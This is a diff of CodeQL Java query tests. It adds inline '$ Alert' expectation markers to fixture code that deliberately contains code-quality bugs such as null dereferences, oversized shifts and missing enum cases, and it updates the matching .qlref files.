a/java/ql/test/query-tests/LShiftLargerThanTypeWidth/A.java +++ b/java/ql/test/query-tests/LShiftLargerThanTypeWidth/A.java @@ -1,51 +1,51 @@ public class A { void test1(byte b, char c, short s, int i, long l) { long b1 = b << 31; // OK - long b2 = b << 32; // BAD - long b3 = b << 33; // BAD - long b4 = b << 64; // BAD + long b2 = b << 32; // $ Alert // BAD + long b3 = b << 33; // $ Alert // BAD + long b4 = b << 64; // $ Alert // BAD long c1 = c << 22; // OK - long c2 = c << 42; // BAD + long c2 = c << 42; // $ Alert // BAD long s1 = s << 22; // OK - long s2 = s << 42; // BAD + long s2 = s << 42; // $ Alert // BAD long i1 = i << 22; // OK - long i2 = i << 32; // BAD - long i3 = i << 42; // BAD - long i4 = i << 64; // BAD - long i5 = i << 65; // BAD + long i2 = i << 32; // $ Alert // BAD + long i3 = i << 42; // $ Alert // BAD + long i4 = i << 64; // $ Alert // BAD + long i5 = i << 65; // $ Alert // BAD long l1 = l << 22; // OK long l2 = l << 32; // OK long l3 = l << 42; // OK - long l4 = l << 64; // BAD - long l5 = l << 65; // BAD + long l4 = l << 64; // $ Alert // BAD + long l5 = l << 65; // $ Alert // BAD } void test2(Byte b, Character c, Short s, Integer i, Long l) { long b1 = b << 31; // OK - long b2 = b << 32; // BAD - long b3 = b << 33; // BAD - long b4 = b << 64; // BAD + long b2 = b << 32; // $ Alert // BAD + long b3 = b << 33; // $ Alert // BAD + long b4 = b << 64; // $ Alert // BAD long c1 = c << 22; // OK - long c2 = c << 42; // BAD + long c2 = c << 42; // $ Alert // BAD long s1 = s << 22; // OK - long s2 = s << 42; // BAD + long s2 = s << 42; // $ Alert // BAD long i1 = i << 22; // OK - long i2 = i << 32; // BAD - long i3 = i << 42; // BAD - long i4 = i << 64; // BAD - long i5 = i << 65; // BAD + long i2 = i << 32; // $ Alert // BAD + long i3 = i << 42; // $ Alert // BAD + long i4 = i << 64; // $ Alert // BAD + long i5 = i << 65; // $ Alert // BAD long l1 = l << 22; // OK long l2 = l << 32; // OK long l3 = l << 42; // OK - long l4 = l << 64; // BAD - long l5 = l << 65; // BAD + long l4 = l << 64; // $ Alert // BAD + long l5 = l << 65; // $ Alert // BAD } } diff --git a/java/ql/test/query-tests/LShiftLargerThanTypeWidth/LShiftLargerThanTypeWidth.qlref b/java/ql/test/query-tests/LShiftLargerThanTypeWidth/LShiftLargerThanTypeWidth.qlref index 5e3fa630b7d..5f6b6243296 100644 --- a/java/ql/test/query-tests/LShiftLargerThanTypeWidth/LShiftLargerThanTypeWidth.qlref +++ b/java/ql/test/query-tests/LShiftLargerThanTypeWidth/LShiftLargerThanTypeWidth.qlref @@ -1 +1,2 @@ -Likely Bugs/Arithmetic/LShiftLargerThanTypeWidth.ql +query: Likely Bugs/Arithmetic/LShiftLargerThanTypeWidth.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/LazyInitStaticField/LazyInitStaticField.qlref b/java/ql/test/query-tests/LazyInitStaticField/LazyInitStaticField.qlref index 3d83072e701..bba785935e5 100644 --- a/java/ql/test/query-tests/LazyInitStaticField/LazyInitStaticField.qlref +++ b/java/ql/test/query-tests/LazyInitStaticField/LazyInitStaticField.qlref @@ -1 +1,2 @@ -Likely Bugs/Concurrency/LazyInitStaticField.ql \ No newline at end of file +query: Likely Bugs/Concurrency/LazyInitStaticField.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/LazyInitStaticField/LazyInits.java b/java/ql/test/query-tests/LazyInitStaticField/LazyInits.java index 08440c20ea3..1faab5c5a5f 100644 --- a/java/ql/test/query-tests/LazyInitStaticField/LazyInits.java +++ b/java/ql/test/query-tests/LazyInitStaticField/LazyInits.java @@ -95,7 +95,7 @@ public class LazyInits { private static LazyInits bad1; public static LazyInits getBad1() { if (bad1 == null) - bad1 = new LazyInits(); + bad1 = new LazyInits(); // $ Alert return bad1; } @@ -105,7 +105,7 @@ public class LazyInits { if (bad2 == null) { synchronized(bad2) { if (bad2 == null) - bad2 = new LazyInits(); + bad2 = new LazyInits(); // $ Alert } } return bad2; @@ -117,7 +117,7 @@ public class LazyInits { if (bad3 == null) { synchronized(Object.class) { if (bad3 == null) - bad3 = new LazyInits(); + bad3 = new LazyInits(); // $ Alert } } return bad3; @@ -129,7 +129,7 @@ public class LazyInits { if (bad4 == null) { synchronized(LazyInits.class) { if (bad4 == null) - bad4 = new LazyInits(); + bad4 = new LazyInits(); // $ Alert } } return bad4; @@ -141,7 +141,7 @@ public class LazyInits { if (bad5 == null) { synchronized(lock) { if (bad5 == null) - bad5 = new LazyInits(); + bad5 = new LazyInits(); // $ Alert } } return bad5; @@ -153,7 +153,7 @@ public class LazyInits { if (bad6 == null) { synchronized(badLock) { if (bad6 == null) - bad6 = new LazyInits(); + bad6 = new LazyInits(); // $ Alert } } return bad6; @@ -174,4 +174,4 @@ public class LazyInits { okLock.unlock(); } } -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/Likely Bugs/Statements/MissingEnumInSwitch/MissingEnumInSwitch.qlref b/java/ql/test/query-tests/Likely Bugs/Statements/MissingEnumInSwitch/MissingEnumInSwitch.qlref index 10f1b3e8be2..74fae365410 100644 --- a/java/ql/test/query-tests/Likely Bugs/Statements/MissingEnumInSwitch/MissingEnumInSwitch.qlref +++ b/java/ql/test/query-tests/Likely Bugs/Statements/MissingEnumInSwitch/MissingEnumInSwitch.qlref @@ -1 +1,2 @@ -Likely Bugs/Statements/MissingEnumInSwitch.ql +query: Likely Bugs/Statements/MissingEnumInSwitch.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/Likely Bugs/Statements/MissingEnumInSwitch/Test.java b/java/ql/test/query-tests/Likely Bugs/Statements/MissingEnumInSwitch/Test.java index 2f39918ead4..ff75940c857 100644 --- a/java/ql/test/query-tests/Likely Bugs/Statements/MissingEnumInSwitch/Test.java +++ b/java/ql/test/query-tests/Likely Bugs/Statements/MissingEnumInSwitch/Test.java @@ -5,32 +5,32 @@ public class Test { } public void use(MyEnum e) { - switch(e) { + switch(e) { // $ Alert case A: break; } - switch(e) { + switch(e) { // $ Alert case A: break; case B: break; } - switch(e) { + switch(e) { // $ Alert case A: break; case B: break; case C: break; } - switch(e) { + switch(e) { // $ Alert case A: break; case B: break; case C: break; case D: break; } - switch(e) { + switch(e) { // $ Alert case A: break; case B: break; case C: break; case D: break; case E: break; } - switch(e) { + switch(e) { // $ Alert case A: break; case B: break; case C: break; @@ -53,7 +53,7 @@ public class Test { case T: break; case U: break; } - switch(e) { + switch(e) { // $ Alert case A: break; case B: break; case C: break; @@ -77,7 +77,7 @@ public class Test { case U: break; case V: break; } - switch(e) { + switch(e) { // $ Alert case A: break; case B: break; case C: break; @@ -102,7 +102,7 @@ public class Test { case V: break; case W: break; } - switch(e) { + switch(e) { // $ Alert case A: break; case B: break; case C: break; @@ -128,7 +128,7 @@ public class Test { case W: break; case X: break; } - switch(e) { + switch(e) { // $ Alert case A: break; case B: break; case C: break; diff --git a/java/ql/test/query-tests/MissedTernaryOpportunity/MissedTernaryOpportunity.qlref b/java/ql/test/query-tests/MissedTernaryOpportunity/MissedTernaryOpportunity.qlref index 8ad93d27f52..4d45b7edd2f 100644 --- a/java/ql/test/query-tests/MissedTernaryOpportunity/MissedTernaryOpportunity.qlref +++ b/java/ql/test/query-tests/MissedTernaryOpportunity/MissedTernaryOpportunity.qlref @@ -1 +1,2 @@ -Language Abuse/MissedTernaryOpportunity.ql \ No newline at end of file +query: Language Abuse/MissedTernaryOpportunity.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/MissedTernaryOpportunity/MissedTernaryOpportunityTest.java b/java/ql/test/query-tests/MissedTernaryOpportunity/MissedTernaryOpportunityTest.java index 34dab78f14f..b463c7ad545 100644 --- a/java/ql/test/query-tests/MissedTernaryOpportunity/MissedTernaryOpportunityTest.java +++ b/java/ql/test/query-tests/MissedTernaryOpportunity/MissedTernaryOpportunityTest.java @@ -3,7 +3,7 @@ import java.util.*; public class MissedTernaryOpportunityTest { public static boolean missedOpportunity1(int a){ - if(a == 42) + if(a == 42) // $ Alert return true; else return false; @@ -29,7 +29,7 @@ public class MissedTernaryOpportunityTest { public static boolean missedOpportunity2(int a){ boolean ret; - if(a == 42) + if(a == 42) // $ Alert ret = true; else ret = false; @@ -71,7 +71,7 @@ public class MissedTernaryOpportunityTest { } public static boolean missedOpportunity3(int a){ - if(a == 42) + if(a == 42) // $ Alert return true; else return someOtherFn(a); @@ -130,7 +130,7 @@ public class MissedTernaryOpportunityTest { // same variables, different qualification public void missedOpportunity4(int a){ - if(a > 42) + if(a > 42) // $ Alert memberVar1 = "hey"; else MissedTernaryOpportunityTest.this.memberVar1 = "ho"; @@ -142,7 +142,7 @@ public class MissedTernaryOpportunityTest { System.out.println("something"); return false; }else{ - if(a == 42) + if(a == 42) // $ Alert return true; else return false; @@ -152,7 +152,7 @@ public class MissedTernaryOpportunityTest { // nested if public boolean missedOpportunity6(int a){ if(a > 42){ - if(a == 42) + if(a == 42) // $ Alert return true; else return false; diff --git a/java/ql/test/query-tests/MissingCallToSuperClone/MissingCallToSuperClone.qlref b/java/ql/test/query-tests/MissingCallToSuperClone/MissingCallToSuperClone.qlref index 5e9ed3758ee..3939e6de8f0 100644 --- a/java/ql/test/query-tests/MissingCallToSuperClone/MissingCallToSuperClone.qlref +++ b/java/ql/test/query-tests/MissingCallToSuperClone/MissingCallToSuperClone.qlref @@ -1 +1,2 @@ -Likely Bugs/Cloning/MissingCallToSuperClone.ql +query: Likely Bugs/Cloning/MissingCallToSuperClone.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/MissingCallToSuperClone/Test.java b/java/ql/test/query-tests/MissingCallToSuperClone/Test.java index a236543a695..e0286c37930 100644 --- a/java/ql/test/query-tests/MissingCallToSuperClone/Test.java +++ b/java/ql/test/query-tests/MissingCallToSuperClone/Test.java @@ -7,7 +7,7 @@ class IAmAGoodCloneable implements Cloneable { class Sub1 extends IAmAGoodCloneable { public Object clone() throws CloneNotSupportedException { return super.clone(); } } class IAmABadCloneable implements Cloneable { - public Object clone() { + public Object clone() { // $ Alert return null; } } diff --git a/java/ql/test/query-tests/MissingInstanceofInEquals/Bad.java b/java/ql/test/query-tests/MissingInstanceofInEquals/Bad.java index 63cdf14fddd..0f22d47cab2 100644 --- a/java/ql/test/query-tests/MissingInstanceofInEquals/Bad.java +++ b/java/ql/test/query-tests/MissingInstanceofInEquals/Bad.java @@ -10,10 +10,10 @@ class Bad { } @Override - public boolean equals(Object obj) { + public boolean equals(Object obj) { // $ Alert Bad other = (Bad) obj; if (data != other.data) return false; return true; } -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/MissingInstanceofInEquals/MissingInstanceofInEquals.qlref b/java/ql/test/query-tests/MissingInstanceofInEquals/MissingInstanceofInEquals.qlref index 40038cf027a..d1a5c7d8130 100644 --- a/java/ql/test/query-tests/MissingInstanceofInEquals/MissingInstanceofInEquals.qlref +++ b/java/ql/test/query-tests/MissingInstanceofInEquals/MissingInstanceofInEquals.qlref @@ -1 +1,2 @@ -Likely Bugs/Comparison/MissingInstanceofInEquals.ql \ No newline at end of file +query: Likely Bugs/Comparison/MissingInstanceofInEquals.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/MissingOverrideAnnotation/MissingOverrideAnnotation.qlref b/java/ql/test/query-tests/MissingOverrideAnnotation/MissingOverrideAnnotation.qlref index c74780e7d24..885c1312f9e 100644 --- a/java/ql/test/query-tests/MissingOverrideAnnotation/MissingOverrideAnnotation.qlref +++ b/java/ql/test/query-tests/MissingOverrideAnnotation/MissingOverrideAnnotation.qlref @@ -1 +1,2 @@ -Advisory/Declarations/MissingOverrideAnnotation.ql \ No newline at end of file +query: Advisory/Declarations/MissingOverrideAnnotation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/MissingOverrideAnnotation/Test.java b/java/ql/test/query-tests/MissingOverrideAnnotation/Test.java index e74026cf6ef..cdadb8b7818 100644 --- a/java/ql/test/query-tests/MissingOverrideAnnotation/Test.java +++ b/java/ql/test/query-tests/MissingOverrideAnnotation/Test.java @@ -15,7 +15,7 @@ class Super { public class Test extends Super { // NOT OK - int m() { + int m() { // $ Alert return 42; } @@ -32,4 +32,4 @@ public class Test extends Super { // OK Arrays.asList(1,2).stream().map(x -> x+1).collect(Collectors.toList()); } -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/MissingSpaceTypo/A.java b/java/ql/test/query-tests/MissingSpaceTypo/A.java index bf40bbaa27a..a095d8568d8 100644 --- a/java/ql/test/query-tests/MissingSpaceTypo/A.java +++ b/java/ql/test/query-tests/MissingSpaceTypo/A.java @@ -1,20 +1,20 @@ public class A { public void missing() { String s; - s = "this text" + - "is missing a space"; - s = "the class java.util.ArrayList" + - "without a space"; - s = "This isn't" + - "right."; - s = "There's 1" + - "thing wrong"; - s = "There's A/B" + - "and no space"; - s = "Wait for it...." + - "No space!"; - s = "Is there a space?" + - "No!"; + s = "this text" + // $ + "is missing a space"; // $ Alert + s = "the class java.util.ArrayList" + // $ + "without a space"; // $ Alert + s = "This isn't" + // $ + "right."; // $ Alert + s = "There's 1" + // $ + "thing wrong"; // $ Alert + s = "There's A/B" + // $ + "and no space"; // $ Alert + s = "Wait for it...." + // $ + "No space!"; // $ Alert + s = "Is there a space?" + // $ + "No!"; // $ Alert } public void ok() { diff --git a/java/ql/test/query-tests/MissingSpaceTypo/MissingSpaceTypo.qlref b/java/ql/test/query-tests/MissingSpaceTypo/MissingSpaceTypo.qlref index b0ad55262d2..6eb5700aa4e 100644 --- a/java/ql/test/query-tests/MissingSpaceTypo/MissingSpaceTypo.qlref +++ b/java/ql/test/query-tests/MissingSpaceTypo/MissingSpaceTypo.qlref @@ -1 +1,2 @@ -Likely Bugs/Likely Typos/MissingSpaceTypo.ql +query: Likely Bugs/Likely Typos/MissingSpaceTypo.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/MissingVoidConstructorsOnSerializable/MissingVoidConstructorsOnSerializable.qlref b/java/ql/test/query-tests/MissingVoidConstructorsOnSerializable/MissingVoidConstructorsOnSerializable.qlref index 26bbcf24bbb..220dcc04752 100644 --- a/java/ql/test/query-tests/MissingVoidConstructorsOnSerializable/MissingVoidConstructorsOnSerializable.qlref +++ b/java/ql/test/query-tests/MissingVoidConstructorsOnSerializable/MissingVoidConstructorsOnSerializable.qlref @@ -1 +1,2 @@ -Likely Bugs/Serialization/MissingVoidConstructorsOnSerializable.ql +query: Likely Bugs/Serialization/MissingVoidConstructorsOnSerializable.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/MissingVoidConstructorsOnSerializable/Test.java b/java/ql/test/query-tests/MissingVoidConstructorsOnSerializable/Test.java index f20f5ac8f49..579aa276070 100644 --- a/java/ql/test/query-tests/MissingVoidConstructorsOnSerializable/Test.java +++ b/java/ql/test/query-tests/MissingVoidConstructorsOnSerializable/Test.java @@ -9,7 +9,7 @@ class NonSerializable { } // BAD: Serializable but its parent cannot be instantiated -class A extends NonSerializable implements Serializable { +class A extends NonSerializable implements Serializable { // $ Alert public A() { super(1); } } diff --git a/java/ql/test/query-tests/MutualDependency/MutualDependency.qlref b/java/ql/test/query-tests/MutualDependency/MutualDependency.qlref index ab1dbe353ef..273ed4d757a 100644 --- a/java/ql/test/query-tests/MutualDependency/MutualDependency.qlref +++ b/java/ql/test/query-tests/MutualDependency/MutualDependency.qlref @@ -1 +1,2 @@ -Architecture/Dependencies/MutualDependency.ql \ No newline at end of file +query: Architecture/Dependencies/MutualDependency.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/MutualDependency/onepackage/MutualDependency.java b/java/ql/test/query-tests/MutualDependency/onepackage/MutualDependency.java index 31188ad5a52..13225f83869 100644 --- a/java/ql/test/query-tests/MutualDependency/onepackage/MutualDependency.java +++ b/java/ql/test/query-tests/MutualDependency/onepackage/MutualDependency.java @@ -7,7 +7,7 @@ public class MutualDependency { static int a = m; } // disallow inter-package dependencies - public static class B { + public static class B { // $ Alert public static int b = otherpackage.OtherClass.c; } } diff --git a/java/ql/test/query-tests/Naming/ConfusingOverloading.qlref b/java/ql/test/query-tests/Naming/ConfusingOverloading.qlref index 4fc71295c2c..e74bc1b00aa 100644 --- a/java/ql/test/query-tests/Naming/ConfusingOverloading.qlref +++ b/java/ql/test/query-tests/Naming/ConfusingOverloading.qlref @@ -1 +1,2 @@ -Violations of Best Practice/Naming Conventions/ConfusingOverloading.ql \ No newline at end of file +query: Violations of Best Practice/Naming Conventions/ConfusingOverloading.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/Naming/NamingTest.java b/java/ql/test/query-tests/Naming/NamingTest.java index e6365ead8ef..75ee73b4eb7 100644 --- a/java/ql/test/query-tests/Naming/NamingTest.java +++ b/java/ql/test/query-tests/Naming/NamingTest.java @@ -4,7 +4,7 @@ import java.util.stream.*; public class NamingTest { public boolean equals(Object other) { return false; } - public boolean equals(NamingTest other) { return true; } + public boolean equals(NamingTest other) { return true; } // $ Alert public void visit(Object node) {} public void visit(NamingTest t) {} diff --git a/java/ql/test/query-tests/NonPrivateField/NonPrivateField.qlref b/java/ql/test/query-tests/NonPrivateField/NonPrivateField.qlref index 569bf88d8e5..e52cd3fa668 100644 --- a/java/ql/test/query-tests/NonPrivateField/NonPrivateField.qlref +++ b/java/ql/test/query-tests/NonPrivateField/NonPrivateField.qlref @@ -1 +1,2 @@ -Advisory/Declarations/NonPrivateField.ql +query: Advisory/Declarations/NonPrivateField.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/NonPrivateField/NonPrivateFieldTest.java b/java/ql/test/query-tests/NonPrivateField/NonPrivateFieldTest.java index c64af38ee50..a67c6ac7da6 100644 --- a/java/ql/test/query-tests/NonPrivateField/NonPrivateFieldTest.java +++ b/java/ql/test/query-tests/NonPrivateField/NonPrivateFieldTest.java @@ -5,15 +5,15 @@ public class NonPrivateFieldTest { public @interface Rule {} // JUnit-like annotation public static class Fields{ - public static String problematic1 = "value"; - public final int problematic2 = 0; - public final int problematic3; + public static String problematic1 = "value"; // $ Alert + public final int problematic2 = 0; // $ Alert + public final int problematic3; // $ Alert - final int problematic4 = 9; // omitted access descriptor - static int problematic5 = 0; - public int problematic6 = 0; - protected Double problematic7 = 0.0; // protected but not used in derived classes - static int[] problematic8; + final int problematic4 = 9; // $ Alert // omitted access descriptor + static int problematic5 = 0; // $ Alert + public int problematic6 = 0; // $ Alert + protected Double problematic7 = 0.0; // $ Alert // protected but not used in derived classes + static int[] problematic8; // $ Alert public static final int ok1 = 0; // public static finals are usually fine, even if not accessed by anything from outside public static int ok2 = 0; // foreign write access diff --git a/java/ql/test/query-tests/NonSerializableField/NonSerializableField.qlref b/java/ql/test/query-tests/NonSerializableField/NonSerializableField.qlref index 401d63757af..1b3b59559be 100644 --- a/java/ql/test/query-tests/NonSerializableField/NonSerializableField.qlref +++ b/java/ql/test/query-tests/NonSerializableField/NonSerializableField.qlref @@ -1 +1,2 @@ -Likely Bugs/Serialization/NonSerializableField.ql +query: Likely Bugs/Serialization/NonSerializableField.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/NonSerializableField/NonSerializableFieldTest.java b/java/ql/test/query-tests/NonSerializableField/NonSerializableFieldTest.java index 48022434c91..71b48e62d78 100644 --- a/java/ql/test/query-tests/NonSerializableField/NonSerializableFieldTest.java +++ b/java/ql/test/query-tests/NonSerializableField/NonSerializableFieldTest.java @@ -22,20 +22,20 @@ public class NonSerializableFieldTest { public static class MyColl extends HashMap{} public static class NotSerializable1 extends SerializableBase{ - NS problematic1; - List problematic2; - Map problematic3; - Map problematic4; - Map> problematic5; - Map problematic6; - List problematic7; - List problematic8; - T problematic9; - List problematic10; - List problematic11; - Map problematic12; - Map> problematic13; - Map problematic14; + NS problematic1; // $ Alert + List problematic2; // $ Alert + Map problematic3; // $ Alert + Map problematic4; // $ Alert + Map> problematic5; // $ Alert + Map problematic6; // $ Alert + List problematic7; // $ Alert + List problematic8; // $ Alert + T problematic9; // $ Alert + List problematic10; // $ Alert + List problematic11; // $ Alert + Map problematic12; // $ Alert + Map> problematic13; // $ Alert + Map problematic14; // $ Alert transient NS ok1; List ok2; @@ -76,7 +76,7 @@ public class NonSerializableFieldTest { public static void main(String[] args){ Anonymous a1 = new Anonymous(){ - NS problematic; + NS problematic; // $ Alert }; @SuppressWarnings("serial") @@ -106,7 +106,7 @@ public class NonSerializableFieldTest { @Stateful class StatefulSessionEjb extends SessionBean { - NonSerializableClass nonSerializableField; + NonSerializableClass nonSerializableField; // $ Alert } enum Enum { diff --git a/java/ql/test/query-tests/NonSerializableInnerClass/NonSerializableInnerClass.qlref b/java/ql/test/query-tests/NonSerializableInnerClass/NonSerializableInnerClass.qlref index 4cbb0995764..0ce5b0819e9 100644 --- a/java/ql/test/query-tests/NonSerializableInnerClass/NonSerializableInnerClass.qlref +++ b/java/ql/test/query-tests/NonSerializableInnerClass/NonSerializableInnerClass.qlref @@ -1 +1,2 @@ -Likely Bugs/Serialization/NonSerializableInnerClass.ql +query: Likely Bugs/Serialization/NonSerializableInnerClass.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/NonSerializableInnerClass/NonSerializableInnerClassTest.java b/java/ql/test/query-tests/NonSerializableInnerClass/NonSerializableInnerClassTest.java index 5fe5a6cafa3..55e15cdd0b9 100644 --- a/java/ql/test/query-tests/NonSerializableInnerClass/NonSerializableInnerClassTest.java +++ b/java/ql/test/query-tests/NonSerializableInnerClass/NonSerializableInnerClassTest.java @@ -11,9 +11,9 @@ public class NonSerializableInnerClassTest { public static class Outer1{ - public class Problematic1 implements Serializable{ } + public class Problematic1 implements Serializable{ } // $ Alert - public class Problematic2 extends S{ } + public class Problematic2 extends S{ } // $ Alert @SuppressWarnings("serial") @@ -48,8 +48,8 @@ public class NonSerializableInnerClassTest { public class Ok9 implements Serializable{ } } - public class Problematic3 extends S { - public class Problematic4 implements Serializable{ } // because NonSerializableInnerClassTest is not serializable + public class Problematic3 extends S { // $ Alert + public class Problematic4 implements Serializable{ } // $ Alert // because NonSerializableInnerClassTest is not serializable } // we currently ignore anonymous classes @@ -66,7 +66,7 @@ public class NonSerializableInnerClassTest { } // the class is not used anywhere, but the serialVersionUID field is an indicator for later serialization - private class Problematic7 implements Serializable{ + private class Problematic7 implements Serializable{ // $ Alert public static final long serialVersionUID = 123; } diff --git a/java/ql/test/query-tests/NonSynchronizedOverride/NonSynchronizedOverride.qlref b/java/ql/test/query-tests/NonSynchronizedOverride/NonSynchronizedOverride.qlref index f8c54049dce..324b7a4355c 100644 --- a/java/ql/test/query-tests/NonSynchronizedOverride/NonSynchronizedOverride.qlref +++ b/java/ql/test/query-tests/NonSynchronizedOverride/NonSynchronizedOverride.qlref @@ -1 +1,2 @@ -Likely Bugs/Concurrency/NonSynchronizedOverride.ql \ No newline at end of file +query: Likely Bugs/Concurrency/NonSynchronizedOverride.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/NonSynchronizedOverride/Test.java b/java/ql/test/query-tests/NonSynchronizedOverride/Test.java index dd537d12b3b..82ffa4b2650 100644 --- a/java/ql/test/query-tests/NonSynchronizedOverride/Test.java +++ b/java/ql/test/query-tests/NonSynchronizedOverride/Test.java @@ -13,7 +13,7 @@ class Super { class Sub extends Super { // NOT OK - void quack() { + void quack() { // $ Alert super.quack(); super.quack(); } @@ -24,7 +24,7 @@ class Sub extends Super { } // NOT OK - void foo() { + void foo() { // $ Alert super.bar(); } } @@ -35,10 +35,10 @@ class A { class B extends A { // NOT OK - void foo() {} + void foo() {} // $ Alert } class C extends A { // NOT OK - void foo() {} -} \ No newline at end of file + void foo() {} // $ Alert +} diff --git a/java/ql/test/query-tests/NotifyWithoutSynch/NotifyWithoutSynch.qlref b/java/ql/test/query-tests/NotifyWithoutSynch/NotifyWithoutSynch.qlref index fb6f44cc3e0..b05b6eb0c06 100644 --- a/java/ql/test/query-tests/NotifyWithoutSynch/NotifyWithoutSynch.qlref +++ b/java/ql/test/query-tests/NotifyWithoutSynch/NotifyWithoutSynch.qlref @@ -1 +1,2 @@ -Likely Bugs/Concurrency/NotifyWithoutSynch.ql +query: Likely Bugs/Concurrency/NotifyWithoutSynch.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/NotifyWithoutSynch/Test.java b/java/ql/test/query-tests/NotifyWithoutSynch/Test.java index 73982fc6586..7bd22fbbab3 100644 --- a/java/ql/test/query-tests/NotifyWithoutSynch/Test.java +++ b/java/ql/test/query-tests/NotifyWithoutSynch/Test.java @@ -7,7 +7,7 @@ class NotifyWithoutSynch { } public void fail_unqualified_wait() throws InterruptedException { - wait(); + wait(); // $ Alert } public synchronized void pass_unqualified_notify() throws InterruptedException { @@ -15,7 +15,7 @@ class NotifyWithoutSynch { } public void fail_unqualified_notify() throws InterruptedException { - notify(); + notify(); // $ Alert } public synchronized void pass_unqualified_notifyAll() throws InterruptedException { @@ -23,7 +23,7 @@ class NotifyWithoutSynch { } public void fail_unqualified_notifyAll() throws InterruptedException { - notifyAll(); + notifyAll(); // $ Alert } public void pass_unqualified_wait2() throws InterruptedException { @@ -49,32 +49,32 @@ class NotifyWithoutSynch { } public void fail_qualified_wait01() throws InterruptedException { - this.wait(); + this.wait(); // $ Alert } public void fail_qualified_wait02() throws InterruptedException { - this.wait(); + this.wait(); // $ Alert } public void fail_qualified_wait03() throws InterruptedException { synchronized(obj1) { - this.wait(); + this.wait(); // $ Alert } } public void fail_qualified_wait04() throws InterruptedException { synchronized(this) { - obj1.wait(); + obj1.wait(); // $ Alert } } public synchronized void fail_qualified_wait05() throws InterruptedException { - obj1.wait(); + obj1.wait(); // $ Alert } public synchronized void fail_qualified_wait06() throws InterruptedException { synchronized(obj1) { - obj2.wait(); + obj2.wait(); // $ Alert } } @@ -111,7 +111,7 @@ class NotifyWithoutSynch { } private void fail_indirect_callee14() throws InterruptedException { - wait(); + wait(); // $ Alert } public void fail_indirect_caller15() throws InterruptedException { diff --git a/java/ql/test/query-tests/Nullness/A.java b/java/ql/test/query-tests/Nullness/A.java index 065fffdbd3f..c40f6e898d5 100644 --- a/java/ql/test/query-tests/Nullness/A.java +++ b/java/ql/test/query-tests/Nullness/A.java @@ -12,7 +12,7 @@ public class A { } Object not = null; if (!(not != null)) { - not.hashCode(); + not.hashCode(); // $ Alert[java/dereferenced-value-is-always-null] } } @@ -45,7 +45,7 @@ public class A { Object assertNotNull_ok3 = maybe() ? null : new Object(); assertNonNull(assertNotNull_ok3, ""); - assertNotNull_ok3.toString(); + assertNotNull_ok3.toString(); // $ Alert[java/dereferenced-value-may-be-null] } public void assertTrueTest() { @@ -94,7 +94,7 @@ public class A { public void synchronised() { Object synchronized_always = null; - synchronized(synchronized_always) { + synchronized(synchronized_always) { // $ Alert[java/dereferenced-value-is-always-null] synchronized_always.hashCode(); } } @@ -158,18 +158,18 @@ public class A { String do_always = null; do { - System.out.println(do_always.length()); + System.out.println(do_always.length()); // $ Alert[java/dereferenced-value-is-always-null] do_always = null; } while(do_always != null); String do_maybe1 = null; do { - System.out.println(do_maybe1.length()); + System.out.println(do_maybe1.length()); // $ Alert[java/dereferenced-value-is-always-null] } while(do_maybe1 != null); String do_maybe = ""; do { - System.out.println(do_maybe.length()); + System.out.println(do_maybe.length()); // $ Alert[java/dereferenced-value-may-be-null] do_maybe = null; } while(true); } @@ -184,13 +184,13 @@ public class A { boolean TRUE = true; String while_always = null; while(TRUE) { - System.out.println(while_always.length()); + System.out.println(while_always.length()); // $ Alert[java/dereferenced-value-is-always-null] while_always = null; } String while_maybe = ""; while(true) { - System.out.println(while_maybe.length()); + System.out.println(while_maybe.length()); // $ Alert[java/dereferenced-value-may-be-null] while_maybe = null; } } @@ -204,7 +204,7 @@ public class A { String if_always = null; if (if_always == null) { - System.out.println(if_always.length()); + System.out.println(if_always.length()); // $ Alert[java/dereferenced-value-is-always-null] if_always = null; } @@ -212,7 +212,7 @@ public class A { if (if_maybe != null && if_maybe.length() % 2 == 0) { if_maybe = null; } - System.out.println(if_maybe.length()); + System.out.println(if_maybe.length()); // $ Alert[java/dereferenced-value-may-be-null] } public void for_() { @@ -220,20 +220,20 @@ public class A { for (for_ok = ""; for_ok != null; for_ok = null) { System.out.println(for_ok.length()); } - System.out.println(for_ok.length()); + System.out.println(for_ok.length()); // $ Alert[java/dereferenced-value-is-always-null] for (String for_always = null; ((for_always == null)); for_always = null) { - System.out.println(for_always.length()); + System.out.println(for_always.length()); // $ Alert[java/dereferenced-value-is-always-null] } for (String for_maybe = ""; ; for_maybe = null) { - System.out.println(for_maybe.length()); + System.out.println(for_maybe.length()); // $ Alert[java/dereferenced-value-may-be-null] } } public void array_assign_test() { int[] array_null = null; - array_null[0] = 10; + array_null[0] = 10; // $ Alert[java/dereferenced-value-is-always-null] int[] array_ok; array_ok = new int[10]; @@ -245,9 +245,9 @@ public class A { String[] fieldaccess = null; Object methodaccess = null; - System.out.println(arrayaccess[1]); - System.out.println(fieldaccess.length); - System.out.println(methodaccess.toString()); + System.out.println(arrayaccess[1]); // $ Alert[java/dereferenced-value-is-always-null] + System.out.println(fieldaccess.length); // $ Alert[java/dereferenced-value-is-always-null] + 